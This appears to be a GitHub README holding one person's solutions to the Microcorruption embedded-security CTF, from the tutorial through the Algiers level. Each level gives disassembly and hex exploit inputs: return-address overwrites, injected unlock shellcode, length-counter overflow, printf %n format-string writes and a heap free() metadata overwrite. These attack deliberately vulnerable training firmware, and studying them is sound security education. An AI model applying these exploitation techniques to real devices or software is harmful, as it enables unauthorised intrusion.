2023-01-21 18:30:32 +01:00
2023-04-07 18:26:20 -04:00

microcorruption

My solutions to the fantastic Microcorruption exercises.

Tutorial

Code that compares the password to the expected length of 8 characters.

4484:  6e4f           mov.b	@r15, r14
4486:  1f53           inc	r15
4488:  1c53           inc	r12
448a:  0e93           tst	r14
448c:  fb23           jnz	$-0x8 <check_password+0x0>
448e:  3c90 0900      cmp	#0x9, r12
4492:  0224           jz	$+0x6 <check_password+0x14>

Any eight characters input is valid, for example:

password

New Orleans

Password is hardcoded and located at address 0x2400.

2400: 764f 7050 6e4b 5300 0000 0000 0000 0000   vOpPnKS.

Solution:

vOpPnKS

Sydney

The password is hardcoded in the check_password routine:

448a <check_password>
448a:  bf90 4f78 0000 cmp	#0x784f, 0x0(r15)
4490:  0d20           jnz	$+0x1c <check_password+0x22>
4492:  bf90 3b77 0200 cmp	#0x773b, 0x2(r15)
4498:  0920           jnz	$+0x14 <check_password+0x22>
449a:  bf90 2b74 0400 cmp	#0x742b, 0x4(r15)
44a0:  0520           jnz	$+0xc <check_password+0x22>
44a2:  1e43           mov	#0x1, r14
44a4:  bf90 5d2f 0600 cmp	#0x2f5d, 0x6(r15)
44aa:  0124           jz	$+0x4 <check_password+0x24>

Solution (hex, byte ordering is little endian):

4f783b772b745d2f

ASCII equivalent:

Ox;w+t]/

Hanoi

The input password does not matter. Instead, there is a hardcoded comparison of 0xb with the value at 0x2410.

4552:  3f40 d344      mov	#0x44d3 "Testing if password is valid.", r15
4556:  b012 de45      call	#0x45de <puts>
455a:  f290 0b00 1024 cmp.b	#0xb, &0x2410
4560:  0720           jnz	$+0x10 <login+0x50>
4562:  3f40 f144      mov	#0x44f1 "Access granted.", r15
4566:  b012 de45      call	#0x45de <puts>
456a:  b012 4844      call	#0x4448 <unlock_door>

The input password is stored at 0x2400, so we can input a long enough string to set 0x2410 to 0xb. Solution in hex:

16 bytes from 0x2400 to 0x240f
                              \
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb0b
                                --
             set 0x2410 to 0xb /

Cusco

At the end of the login function the stackpointer points to 0x43fe. The input password is allocated to 0x43ee. That means we can override the return address at 0x43fe with the address of the unlock_door door function at 0x4446.

Solution in hex:

16 bytes from 0x43ee to 0x43fe
                              \
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb4644
                                ----
                               /
                               set 0x43fe to 0x4644 (unlock_door)

Reykjavik

This exercise is only tricky because the application decrypts the code into 0x2400 at runtime and then executes from there. The consequence is that no disassembly view is available.

The easiest way to solve this is to run till the password prompt. Then single step and the second instruction will look like this:

CPU Cycles: 22680
b490 455e dcff
cmp #0x5e45, -0x24(r4)

We can then guess that 455e (hex) (0x5e45 in little endian) is the solution:

455e

If we hadn't gotten that lucky, the next step would be to copy and disassembly all the code starting at 0x2400. We will probably have to do something like that in later exercises.

Whitehorse

For this exercise we combine two techniques. First, we notice that the vulnerability we first saw in Cusco where we can manipulate the return address to any value is present. However, because HSM-2 is in use, there is no unlock door function.

Second, we notice that the password input is stored at 0x36b8.

What that allows us to do is to inject code that unlocks the door, and then jump to that exact code via the return address manipulation.

We write the code to unlock the door:

push	#0x7f   // INT ID for unlock door
call	#0x4532 // jump to INT

And assemble it to:

30127f00b0123245

Then we add a fill pattern and change the return address to 0x36b8, so that the injected code gets executed. The result in hex looks like this:

code to unlock door                 / return to injected code
----------------                ----
30127f00b0123245eeeeeeeeeeeeeeeeb836
                ----------------
       fill up /

Montevideo

This one is similar to Whitehorse, except a string copy function copies the input password to a different location. That is an issue because our previous code contains 0x00 (null character) which terminates the string.

To work around this, we have to get creative to avoid 0x00 in our code. For example, the following works:

mov	#0x1190, r15
sub	#0x1111, r15
push	r15 // 0x1190 - 0x1111 = 0x7f <=> ID for unlock door
call	#0x454c // jump to INT

Because it results in the following assembly without 0x00:

3f4090113f8011110f12b0124c45

As before, we manipulate the return address to execute the injected code, and get the solution (in hex):

code to unlock door                 / return to injected code
----------------------------    ----
3f4090113f8011110f12b0124c45ccccee43
                            ----
            two fill bytes /

Johannesburg

This lock uses HSM-1 and we can directly manipulate the return address to jump to the unlock door function. However, there is an additional check that verifies that the 18th (0x11 offset) character of the input is 0x40:

4578:  f190 4000 1100 cmp.b	#0x40, 0x11(sp)

Therefore, we have to make sure that this byte of our input is 0x40, and then change the return address to 0x4446 (unlock door functio entry). The solution is then (in hex):

fill bytes                              / override stack to return to unlock_door
----------------------------------  ----
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa404644
                                  --
            pass check at 0x4578 /

Santa Cruz

This is another exercise where we can manipulate the return address to point to the unlock function. However, there are two checks that make our life harder.

Firstly, the value at 0x43b3 (0x08 intially) and 0x43b4 (0x10 initially) are used to validate the minimum and maximum length of the user password.

Secondly, the byte at 0x43c6 must be zero, otherwise the program stops execution before the return pointer manipulation becomes effection.

With that information, we can set the username to (in hex):

                                    / upper and lower password length bounds
                                ----
ccccccccccccccccccccccccccccccccff01cccccccccccccccccccccccccccccccccccccccccccccccc4a44
                                                                                    ----
                                                     return address to unlock_door /

And the password to:

                                  -- byte at 0x43c6 must be zero (via null byte of <getsn>)
2222222222222222222222222222222222

Jakarta

This exercise is yet again vulnerable to a return address override. However, it also executes a length check which prevents us from making the input long enough to override the return address.

However, we can make the password long enough to overflow the length counter and therefore circumvent the length check.

For example, the username could be the following (in hex):

6161616161616161616161616161616161616161616161616161616161616161

And then we use the following passowrd.

            / set return address to unlock_door
        ----
626262624c44626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
626262626262626262626262626262626262626262626262626262626262626262626262
62626262626262626262626262626262626262626262626262626262
-
 \ make rest of string long enough to overflow input length counter

Addis Ababa

This is the first exercise that uses printf to print the password back to the user. The printf-function provides a couple of conversion specifiers like %s, %x, %c and %n.

In this exercise, the value at 0x3a60 must not be zero to unlock the door.

We can use a bug in printf that uses the printf string as the output address of %n to set 0x3a60 to a non-zero value. If we use %n twice, the second %n will then write 3 (number of characters to this point) into that address.

     address of unlock door
    /
----
603a256e61256e
    ----------
              \ %na%n

Novosibirsk

This is the second exercise where we can exploit a printf vulnerability. The key insight we've gained while playing with different inputs is that '%n' writes the number of characters written so far to the address defined by the two initial characters. We can use this insight to replace the HSM-2 interrupt 0x7e with the door unlock interrupt 0x7f.

To build the attack, the first to characters must point to 0x44c8 where 0x7e is located. Then, we must make the string exactly long enough so that the final number of characters is 0x7f. Finally, we add %n to trigger the attack.

      address of HSM-2 interrupt ID
     /                      '%n'
    /                     /
----                 -----
c844 + '61' * 0x7d + 256e
       -----------
                  \ Make numbers

Algiers

When looking at Algiers, we quickly realize that the free function is more than wacky. Since there is no printf in this exercise, we suspect that the vulnerability is in that function.

We find the locations of the first and second input, and quickly realize that by making the first input long enough, we can manipulate the first free function which operates on the addresses from 0x2424 - 6 onward. Specifically, We can override the values 0824 3424 2100 via the first input.

2400: 0824 0010 0000 0000 0824 1e24 2100 aabb
                                         \____ location of first input

                                              we can override this with the first input
                                         ____/
2410: 0000 0000 0000 0000 0000 0000 0000 0824
                                         ----
                                             \ R15 points to this address in the first
                                               call to `free`

                we can overrid this too
               /
      ---- ----
2420: 3424 2100 ccdd 0000 0000 0000 0000 0000
                ----
                    \
                     location of the second input

2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000

Therefore, an input to not change the behavior would look like this.

beefbeefbeefbeefbeefbeefbeefbeef_0824_3424_2100 // input 1
aabb // input 2 - doesn't matter

Now, an insight that we might have is that we jump over the code at 0x4524 as long as bit zero at 0x2408 is not not zero. Unfortunately, by default it is zero, but by changing R15 to 0x241e we point it to the address where the code in free sets bit zero of the value at that address to zero:

450a:  3f50 faff      add	#0xfffa, r15
450e:  1d4f 0400      mov	0x4(r15), r13
4512:  3df0 feff      and	#0xfffe, r13   // set bit zero of r13 to zero
4516:  8f4d 0400      mov	r13, 0x4(r15)  // write value back to 00x241e + 4

So, with the following input, we land in the first branch:

beefbeefbeefbeefbeefbeefbeefbeef_1e24_3424_2100 // step 1 to solution
                                 ----
                                     \
                                      get into first branch by loading a value
                                      whose zero bit is zero

When taking the first branch, we realize that the following code allows us to insert a value for R15 + 2 that R14 is then written into. Here R15 is the second word in our three words that we can manipulate.

452e:  9e4f 0200 0200 mov	0x2(r15), 0x2(r14)
4534:  1d4f 0200      mov	0x2(r15), r13
4538:  8d4e 0000      mov	r14, 0x0(r13)

In other words, that gives us write access to an arbitrary location by changing 3424 in our input accordingly.

The question is where to write to. The first thing that comes to mind is manipulating the return pointer of the login function. However, when stepping through the free function, we might notice that it's ret instruction is directly followed by unlock_door.

4508 <free>
// code removed
4562:  3041           ret
4564 <unlock_door>
4564:  3012 7f00      push	#0x7f
4568:  b012 b646      call	#0x46b6 <INT>
456c:  2153           incd	sp
456e:  3041           ret

Probably not a coinsidence. If we change 3424 to 6245 we can override the return instruction fall through to unlock_door.

beefbeefbeefbeefbeefbeefbeefbeef_1e24_6245_2100 // step 2 to solution

When we run this code, whatever is in R14 will override the return instruction. In this case, that whatever is 241e which disassembles to push @r4. We got lucky, it's a valid instruction. And with that it turns out that step 2 is our final solution to solve Algiers.

beefbeefbeefbeefbeefbeefbeefbeef1e2462452100

Vladivostok

Description
My solutions to the fantastic Microcorruption exercises.
Readme 98 KiB
Languages
Python 88.1%
C 11.9%